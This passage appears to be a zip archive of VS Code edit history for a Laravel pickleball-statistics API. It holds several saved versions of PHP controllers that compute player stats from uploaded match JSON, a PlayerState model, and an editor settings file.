(isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } // Uncomment if needed // if ($shot['result'] == 'out') { // $service_errors += 1; // } } // Hits (H) and Errors (E) // if ($shot['player_id'] == $player_id) { $hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $errors += 1; // } // } // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; // Uncomment if needed // if ($shot['result'] == 'out') { // $volley_hit_errors += 1; // } } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; // Create new record for the player PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); // LogPlayer::create([ // 'player_id'=>$player_id, // 'log_id' =>$log->id, // ]); } } } $data = PlayerState::where('log_id', $log->id)->get(); return response()->json(['message' => 'Data processed successfully', 'data' => $data]); } return response()->json(['error' => 'File not uploaded'], 400); } } PK �6fZ�pE�A7 A7 History/-68b100b8/x6y1.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Models\Player; use App\Models\PlayerState; use App\Models\User; use Illuminate\Http\Request; use Illuminate\Support\Facades\Validator; use Illuminate\Support\Str; use App\Traits\ImageUploadTrait; class PlayerStateJsonController extends Controller { use ImageUploadTrait; public function jsonPlayerState(Request $request) { $validator = Validator::make($request->all(), [ 'index' => 'nullable|array|max:4', 'index.*' => 'nullable|string', 'player_id' => 'nullable|array|max:4', 'player_id.*' => 'nullable|exists:users,id', ]); $originalFileName = $request->file('json_file')->getClientOriginalName(); if ($validator->fails()) { return response()->json(['errors' => $validator->errors()], 422); } if ($request->hasFile('json_file')) { $jsonFile = $request->file('json_file'); $jsonData = file_get_contents($jsonFile->getRealPath()); $filePath = $this->uploadJson($jsonFile, 'uploads/json/file'); $log = auth()->user()->logs()->create(['log' => $originalFileName,'file'=>$filePath]); $data = json_decode($jsonData, true); if(!empty(($request['player_id']))) { $players = collect(); foreach ($request['player_id'] as $key => $player_id) { $user = User::find($player_id); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $player_id = $player; // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { if (isset($rally['moments'])) { foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } } $hits += 1; // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; PlayerState::create([ 'player_id' => $player_id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); } } if(!empty(($request['index']))) { $players = collect(); foreach ($request['index'] as $key => $player_name) { $user = User::create(['fname'=>$player_name]); $player = Player::firstOrCreate(['fname' => $user->fname, 'user_id' => $user->id])->id; $player_id = $player; // Initialize variables for each player's stats $at_attempts = 0; $winners = 0; $saves = 0; $serves = 0; $service_aces = 0; $service_errors = 0; $hits = 0; $errors = 0; $volley_hits = 0; $volley_hit_errors = 0; $pop_ups = 0; $shot_quality_total = 0; $valid_shots = 0; // Iterate through rallies and moments to calculate stats for each player foreach ($data['rallies'] as $rally) { if (isset($rally['moments'])) { foreach ($rally['moments'] as $moment_index => $moment) { if (isset($moment['ball']) && isset($moment['ball']['shot'])) { $shot = $moment['ball']['shot']; // At Attempts (AA) if (isset($shot['resulting_ball_movement']['speed']) && $moment_index > 1) { $at_attempts += 1; } // Winners (W) if (($shot['is_final'] ?? false)) { $winners += 1; } // Saves (SAV) if (isset($shot['resulting_ball_movement']['speed']) && $shot['resulting_ball_movement']['speed'] >= 35) { $saves += 1; } // Serves (S), Service Aces (SA), and Service Errors (SE) if ($moment_index == 1) { $serves += 1; if (isset($moment['next_moment']) && !$moment['next_moment']['player_returned']) { $service_aces += 1; } } $hits += 1; // Volley Hits (VH) and Volley Hit Errors (VHE) if (isset($shot['resulting_ball_movement']['is_volleyed']) && $shot['resulting_ball_movement']['is_volleyed']) { $volley_hits += 1; } // Pop-Ups (PU) if ($moment_index >= 3 && isset($shot['resulting_ball_movement']['trajectory']['peak'])) { $trajectory = $shot['resulting_ball_movement']['trajectory']['peak']; if ($trajectory['z'] >= 5.00 && (0 <= $trajectory['x'] && $trajectory['x'] <= 20) && ((0 <= $trajectory['y'] && $trajectory['y'] <= 17) || (27 <= $trajectory['y'] && $trajectory['y'] <= 44))) { $pop_ups += 1; } } // Shot Quality (SQ) if (isset($shot['resulting_ball_movement']['speed'])) { $shot_quality_total += $shot['resulting_ball_movement']['speed'] * ($shot['spin'] ?? 0); $valid_shots += 1; } } } } } // Calculations for percentages and averages $serve_percentage = $serves > 0 ? (($serves - $service_errors) / $serves) * 100 : 0; $lifetime_serve_percentage = $serve_percentage; $hits_average = $hits > 0 ? (($hits - $errors) / $hits) * 100 : 0; $errors_percentage = $hits > 0 ? ($errors / $hits) * 100 : 0; $volley_hit_error_percentage = $volley_hits > 0 ? ($volley_hit_errors / $volley_hits) * 100 : 0; $pop_up_percentage = $at_attempts > 0 ? ($pop_ups / $at_attempts) * 100 : 0; $shot_quality_average = $valid_shots > 0 ? $shot_quality_total / $valid_shots : 0; PlayerState::create([ 'player_id' => $user->id, 'player_name' => $user->fname." ".$user->lname, 'log_id' => $log->id, 'at_attempts' => $at_attempts, 'winners' => $winners, 'saves' => $saves, 'serves' => $serves, 'service_aces' => $service_aces, 'service_errors' => $service_errors, 'serve_percentage' => round($serve_percentage, 2), 'lifetime_serve_percentage' => round($lifetime_serve_percentage, 2), 'hits' => $hits, 'hits_average' => round($hits_average, 2), 'errors' => $errors, 'errors_percentage' => round($errors_percentage, 2), 'volley_hits' => $volley_hits, 'volley_hit_errors' => $volley_hit_errors, 'volley_hit_error_percentage' => round($volley_hit_error_percentage, 2), 'pop_ups' => $pop_ups, 'pop_up_percentage' => round($pop_up_percentage, 2), 'shot_quality_average' => round($shot_quality_average, 2), ]); } } $data = PlayerState::where('log_id', $log->id)->get(); return response()->json(['message' => 'Data processed successfully', 'data' => $data]); } return response()->json(['error' => 'File not uploaded'], 400); } } PK �6fZ��_?� � History/-628a1b82/entries.jsonnu �Iw�� {"version":1,"resource":"vscode-remote://ssh-remote%2Bportfolio/home/portfolio/public_html/api.champpickelball.mycompanyportfolio.com/app/Models/PlayerState.php","entries":[{"id":"sdl7.php","source":"undoRedo.source","timestamp":1734517478186}]}PK �6fZ����+ + History/-628a1b82/sdl7.phpnu �Iw�� <?php namespace App\Models; use Illuminate\Database\Eloquent\Model; use Illuminate\Database\Eloquent\Casts\Attribute; class PlayerState extends Model { protected $fillable = [ 'player_id', 'player_name', 'log_id', 'at_attempts', 'winners', 'saves', 'serves', 'service_aces', 'service_errors', 'serve_percentage', 'lifetime_serve_percentage', 'hits', 'hits_average', 'errors', 'errors_percentage', 'volley_hits', 'volley_hit_errors', 'volley_hit_error_percentage', 'pop_ups', 'pop_up_percentage', 'shot_quality_average', ]; public function loggable() { return $this->belongsTo(Log::class, 'log_id'); } public function user() { return $this->hasOne(User::class,'id','player_id'); } protected function json_file(): Attribute { return Attribute::make( fn ($value) => !empty($value) ? asset($value) : '', ); } } PK �6fZ_��w� � History/737408d5/entries.jsonnu �Iw�� {"version":1,"resource":"vscode-userdata:/c%3A/Users/admin/AppData/Roaming/Code/User/settings.json","entries":[{"id":"5lhA.json","timestamp":1734517052724}]}PK �6fZ��� � History/737408d5/5lhA.jsonnu �Iw�� { "remote.SSH.remotePlatform": { "144.91.105.44": "linux", "66.29.130.193": "linux", "66.29.134.113": "linux", "162.0.216.20": "linux", "devssh": "linux", "devsh": "linux", "devrr": "linux", "final9": "linux", "portfolio": "linux" }, "[php]": { "editor.defaultFormatter": "apility.beautify-blade" }, "security.workspace.trust.untrustedFiles": "open", "[css]": { "editor.defaultFormatter": "apility.beautify-blade" }, "[blade]": { "editor.defaultFormatter": "shufo.vscode-blade-formatter" }, "editor.fontVariations": false, "editor.fontWeight": "normal", "[javascript]": { "editor.defaultFormatter": "vscode.typescript-language-features" }, "files.associations": { "*.php": "php" }, "remote.SSH.defaultForwardedPorts": [ ], "remote.SSH.connectTimeout": 30, "beautify.config": "", "intelephense.files.associations": [ "*.php", "*.phtml" ], "[jade]": { "diffEditor.ignoreTrimWhitespace": false }, "javascript.updateImportsOnFileMove.enabled": "always", "git.autofetch": true, "liveServer.settings.donotShowInfoMsg": true, "liveServer.settings.donotVerifyTags": true, "editor.fontLigatures": false, "editor.fontFamily": "Short Stack, 'Courier New', monospace", "material-icon-theme.files.color": "#7cb342", "[json]": { "editor.defaultFormatter": "vscode.json-language-features" }, "[html]": { "editor.defaultFormatter": "apility.beautify-blade" }, "[typescript]": { "editor.defaultFormatter": "vscode.typescript-language-features" }, "redhat.telemetry.enabled": true, "update.mode": "manual", "editor.stickyScroll.enabled": false, "editor.fontSize": 15, "workbench.colorTheme": "Atom One Dark", "prisma.showPrismaDataPlatformNotification": false, "files.autoSave": "afterDelay", "workbench.editorAssociations": { "{git,gitlens}:/**/*.{md,csv,svg}": "default" }, }PK �6fZ��#P P History/-3545523c/qEqE.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { return $request if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ+"=�8 8 History/-3545523c/ySJz.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZJl �Y Y History/-3545523c/yGsY.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { return $request->query() if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ�Ƕ[ [ History/-3545523c/stTq.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { dd($request->query['id']); if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ*�RkU U History/-3545523c/kbFJ.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { dd($request->query); if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ�<5m_ _ History/-3545523c/SMhM.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { dd($request->input('query');); if (!empty($request->query)) { $data = PlayerState::where('player_id', $request->query)->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ<�Mp p History/-3545523c/DsA9.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { if (!empty($request->query->get('query'))) { $data = PlayerState::with('user')->where('player_id', $request->query->get('query'))->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::with('user')->where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ��q History/-3545523c/entries.jsonnu �Iw�� {"version":1,"resource":"vscode-remote://ssh-remote%2Bportfolio/home/portfolio/public_html/api.champpickelball.mycompanyportfolio.com/app/Http/Controllers/CalculatedDataController.php","entries":[{"id":"ySJz.php","timestamp":1734517104229},{"id":"qEqE.php","timestamp":1734517262524},{"id":"yGsY.php","source":"undoRedo.source","timestamp":1734517265759},{"id":"GZYp.php","timestamp":1734517267180},{"id":"KOWN.php","timestamp":1734517521022},{"id":"KEqH.php","timestamp":1734517543074},{"id":"8IUT.php","source":"undoRedo.source","timestamp":1734517552036},{"id":"TCbY.php","timestamp":1734517559168},{"id":"SMhM.php","timestamp":1734517569595},{"id":"dJts.php","source":"undoRedo.source","timestamp":1734517582928},{"id":"stTq.php","timestamp":1734517593091},{"id":"kbFJ.php","source":"undoRedo.source","timestamp":1734517600588},{"id":"ZfRu.php","timestamp":1734517652139},{"id":"jx6h.php","source":"undoRedo.source","timestamp":1734517662702},{"id":"REtS.php","timestamp":1734517673049},{"id":"R8kE.php","timestamp":1734517738125},{"id":"RM7V.php","source":"undoRedo.source","timestamp":1734517740940},{"id":"zk2n.php","timestamp":1734517768115},{"id":"V68w.php","source":"undoRedo.source","timestamp":1734517782639},{"id":"TJpJ.php","timestamp":1734517865290},{"id":"DsA9.php","timestamp":1734531600639}]}PK �6fZF؇�N N History/-3545523c/V68w.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { if (!empty($request->query->get('id'))) { $data = PlayerState::where('player_id', $request->query->get('id'))->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZF؇�N N History/-3545523c/REtS.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { if (!empty($request->query->get('id'))) { $data = PlayerState::where('player_id', $request->query->get('id'))->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZF؇�N N History/-3545523c/RM7V.phpnu �Iw�� <?php namespace App\Http\Controllers; use App\Http\Requests\StoreCalculatedDataRequest; use App\Http\Requests\UpdateCalculatedDataRequest; use App\Models\CalculatedData; use App\Models\PlayerState; use Illuminate\Http\Request; class CalculatedDataController extends Controller { /** * Display a listing of the resource. */ public function index(Request $request) { if (!empty($request->query->get('id'))) { $data = PlayerState::where('player_id', $request->query->get('id'))->get(); return response()->json(['status'=>true, 'data'=>$data]); } $userId = auth()->id(); $data = PlayerState::where('player_id', $userId)->get(); return response()->json(['status'=>true, 'data'=>$data]); // if($request->query){ // $query = $request->input('query'); // $data = PlayerState::query(); // $data->where(function($q) use ($query) { // $q->where('player_name', 'like', '%' . $query . '%') // ->orWhereHas('user', function($subQuery) use ($query) { // $subQuery->where('fname', 'like', '%' . $query . '%') // ->orWhere('lname', 'like', '%' . $query . '%') // ->orWhere('middle_name', 'like', '%' . $query . '%'); // Search in user's name fields // }); // }); // $data = $data->get(); // } } /** * Show the form for creating a new resource. */ public function create() { // } /** * Store a newly created resource in storage. */ public function store(StoreCalculatedDataRequest $request) { // } /** * Display the specified resource. */ public function show(CalculatedData $calculatedData) { // } /** * Show the form for editing the specified resource. */ public function edit(CalculatedData $calculatedData) { // } /** * Update the specified resource in storage. */ public function update(UpdateCalculatedDataRequest $request, CalculatedData $calculatedData) { // } /** * Remove the specified resource from storage. */ public function destroy(CalculatedData $calculatedData) { // } } PK �6fZ ��a a History/-3545523c/ZfRu.phpnu �Iw�� <?php namespace App\Http\Controllers; use 